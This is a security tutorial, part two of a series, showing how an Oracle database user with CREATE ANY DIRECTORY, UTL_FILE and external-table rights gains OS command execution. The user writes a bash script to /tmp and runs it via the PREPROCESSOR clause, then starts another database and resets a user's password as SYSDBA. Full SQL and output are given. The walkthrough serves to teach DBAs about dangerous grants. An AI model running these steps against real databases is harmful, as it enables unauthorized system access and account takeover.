



**„There shall be a time that a big cloud will come and the Sun will perish”**

—Ancient Oracle – 600 BC

# **Simple technics of privilege escalation – part2: DBA=SYSDBA**

Document describes a very basic technics of escalating privileges in the Oracle Database Enterprise Edition  
11.2.0.4 in Linux x64 environment

(This material should be used just for securing your environment. Not for stupid pranks!)

## Environment description

- OS: Oracle Linux Server release 6.5 x64
- Database: Oracle Database 11.2.0.4 EE ; Oracle Database 12.1.0.2 EE

## Experiment details

In the first part of this article ([http://ora-600.pl/art/privilege\\_escalation.pdf](http://ora-600.pl/art/privilege_escalation.pdf)) I showed how to escalate privileges from — for example — ANALYZE ANY to CREATE ANY DIRECTORY, EXECUTE ANY PROCEDURE and — at the end — to login through SSH to operating system. Most of my students thinks that there is a simple solution to this problem: just block the SSH for the oracle user :) Unfortunately the problem is a little bit more complex...

A lot of companies that creates software based on the Oracle database, seems to think that there is nothing wrong in an application user who can create any directory object or execute any procedure — this is the only user in the database, so what is the problem? But they forget about one thing — these days a lot companies consolidates databases into one appliance — like for example Oracle Exadata. So you can have a lot of different databases in one physical cluster. And what if I tell you that you can execute any OS command as oracle user, having just access to a database user with appropriate privileges? What if I tell you that in such situation DBA=SYSDBA? And not just SYSDBA for one database but for every database in a cluster?

## Let's rock :)

I will use the feature related to external tables — in fact I need three elements to demonstrate this example:

- CREATE ANY DIRECTORY
- UTL\_FILE
- Ability to create external table

The 11G database introduced PREPROCESSOR clause for external tables which can be very useful while reading compressed files. The complete description of this feature you can find in here: [http://download.oracle.com/otndocs/products/database/enterprise\\_edition/utilities/pdf/xtables\\_preproc11g\\_1009.pdf](http://download.oracle.com/otndocs/products/database/enterprise_edition/utilities/pdf/xtables_preproc11g_1009.pdf)

## Create the directories

```
SQL> ora-600:bin inter$ ./sdsql hr/hr@skiper:1521/kowalsky
sdsql: Release 4.1.0 Beta on Pn gru 22 12:36:39 2014
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Connected to:
Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production

SQL> CREATE OR REPLACE DIRECTORY exec_dir AS '/bin';

Directory EXEC_DIR created.
```

```
SQL> CREATE OR REPLACE DIRECTORY temp_dir AS '/tmp';
Directory TEMP_DIR created.
```

(By the way I'm using here the new great tool — SDSQL — you can download it from <http://www.oracle.com/technetwork/developer-tools/sql-developer/downloads/sqldev-41ea-2372780.html>)

## Use UTL\_FILE to generate the script

```
SQL> declare
  2   v_file utl_file.file_type;
  3   begin
  4     v_file:=utl_file.fopen('TEMP_DIR','.oralock.log','w');
  5     utl_file.put_line(v_file,'export PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/
  sbin:/usr/sbin:/sbin:/home/oracle/bin:/u01/app/oracle/product/12.1.0/grid/bin');
  6     utl_file.put_line(v_file,'export ORACLE_HOME=/u01/app/oracle/product/12.1.0/
  grid');
  7     utl_file.put_line(v_file,'export ORACLE_SID=+ASM');
  8     utl_file.put_line(v_file,'export PATH=$ORACLE_HOME/bin:$PATH');
  9     utl_file.put_line(v_file,'crsctl stat res -t');
 10     utl_file.put_line(v_file,'ps aux | grep pmon');
 11     utl_file.put_line(v_file,'rm /tmp/.oralock.log');
 12     utl_file.fclose(v_file);
 13   end;
 14   /
anonymous block completed
```

## Use external table with PREPROCESSOR to execute the script

```
SQL> CREATE TABLE exec_command (
  2   txt varchar2(4000)
  3 )
  4 ORGANIZATION EXTERNAL (
  5   TYPE ORACLE LOADER
  6   DEFAULT DIRECTORY temp_dir
  7   ACCESS PARAMETERS (
  8     RECORDS DELIMITED BY NEWLINE
  9     PREPROCESSOR exec_dir:'bash'
 10     FIELDS TERMINATED BY ','
 11     MISSING FIELD VALUES ARE NULL
 12     (
 13       txt
 14     )
 15   )
 16   LOCATION ('.oralock.log')
 17 );
```

Table EXEC\_COMMAND created.

```
SQL> select * from exec_command;
TXT
```

```
-----
-----
-----
Name          Target  State          Server          State details
-----
Local Resources
-----
ora.ASMBACKUP.dg
              ONLINE  ONLINE        skiper          STABLE
ora.DATA11G.dg
```

```

ora.DATA12C.dg      ONLINE  ONLINE  skiper      STABLE
ora.FASTDATA11G.dg ONLINE  ONLINE  skiper      STABLE
ora.FASTDATA12C.dg ONLINE  ONLINE  skiper      STABLE
ora.LISTENER.lsnr  ONLINE  ONLINE  skiper      STABLE
ora.asm            ONLINE  ONLINE  skiper      Started
ora.ons            OFFLINE OFFLINE  skiper      STABLE
-----
Cluster Resources
-----
ora.cssd
  1      ONLINE  ONLINE  skiper      STABLE
ora.diskmon
  1      OFFLINE OFFLINE
ora.evmd
  1      ONLINE  ONLINE  skiper      STABLE
ora.kowalsky.db
  1      ONLINE  ONLINE  skiper      Open
ora.private.db
  1      OFFLINE OFFLINE      Instance Shutdown
                           ABLE
ora.rico.db
  1      OFFLINE OFFLINE      Instance Shutdown
                           ABLE
-----
oracle   3694  0.0  0.2 1435732 21124 ?      Ss  11:52  0:00 asm_pmon_+ASM
oracle   3774  0.0  0.1 3391636 17496 ?      Ss  11:52  0:01 ora_pmon_kowalsky
oracle   4585  0.0  0.0 103308   800 ?      S   13:13  0:00 grep pmon

42 rows selected

```

As you can see, you can execute any command you like. For example — there are three databases registered in a grid infrastructure — I can start the database called „rico” and unlock and change the password for user „oe”.

```

SQL> declare
  2   v_file utl_file.file_type;
  3   begin
  4     v_file:=utl_file.fopen('TEMP_DIR','_oralock.log','w');
  5     utl_file.put_line(v_file,'export PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/
sbin:/usr/sbin:/sbin:/home/oracle/bin:/u01/app/oracle/product/12.1.0/grid/bin');
  6     utl_file.put_line(v_file,'export ORACLE_HOME=/u01/app/oracle/product/12.1.0/
grid');
  7     utl_file.put_line(v_file,'export ORACLE_SID=+ASM');
  8     utl_file.put_line(v_file,'export PATH=$ORACLE_HOME/bin:$PATH');
  9     utl_file.put_line(v_file,'srvctl start database -d rico');
 10     utl_file.put_line(v_file,'crsctl stat res -t');
 11     utl_file.put_line(v_file,'export PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/
sbin:/usr/sbin:/sbin:/home/oracle/bin:/u01/app/oracle/product/12.1.0/dbhome_1/bin');
 12     utl_file.put_line(v_file,'export ORACLE_HOME=/u01/app/oracle/product/12.1.0/
dbhome_1');
 13     utl_file.put_line(v_file,'export ORACLE_SID=rico');
 14     utl_file.put_line(v_file,'export PATH=$ORACLE_HOME/bin:$PATH');
 15     utl_file.put_line(v_file,'sqlplus "/ as sysdba" << !');
 16     utl_file.put_line(v_file,'alter user oe account unlock identified by oe;');
 17     utl_file.put_line(v_file,'select instance_name from v$instance;');
 18     utl_file.put_line(v_file,'!');
 19     utl_file.put_line(v_file,'rm /tmp/_oralock.log');
 20     utl_file.fclose(v_file);

```

```

21 end;
22 /
anonymous block completed

SQL> select * from exec_command;
TXT
-----
Name          Target  State      Server      State details
-----
Local Resources
-----
ora.ASMBACKUP.dg      ONLINE  ONLINE      skiper      STABLE
ora.DATA11G.dg        ONLINE  ONLINE      skiper      STABLE
ora.DATA12C.dg        ONLINE  ONLINE      skiper      STABLE
ora.FASTDATA11G.dg    ONLINE  ONLINE      skiper      STABLE
ora.FASTDATA12C.dg    ONLINE  ONLINE      skiper      STABLE
ora.LISTENER.lsnr     ONLINE  ONLINE      skiper      STABLE
ora.asm               ONLINE  ONLINE      skiper      Started
ora.ons               OFFLINE OFFLINE      skiper      STABLE
-----
Cluster Resources
-----
ora.cssd
  1      ONLINE  ONLINE      skiper      STABLE
ora.diskmon
  1      OFFLINE OFFLINE      skiper      STABLE
ora.evmd
  1      ONLINE  ONLINE      skiper      STABLE
ora.kowalsky.db
  1      ONLINE  ONLINE      skiper      Open
ora.private.db
  1      OFFLINE OFFLINE      skiper      Instance Shutdown
                                     ABLE
ora.rico.db
  1      ONLINE  ONLINE      skiper      Open
-----

SQL*Plus: Release 12.1.0.2.0 Production on Mon Dec 22 13:44:06 2014

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Connected to:
Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production
With the Partitioning
and Real Application Testing options

SQL>
User altered.

SQL>
INSTANCE_NAME
-----
rico

TXT

```

```
-----  
-----  
SQL> Disconnected from Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit  
Production  
With the Partitioning  
and Real Application Testing options  
  
60 rows selected
```

Scary, isn't it? Just be careful about the permissions you are granting to your application user.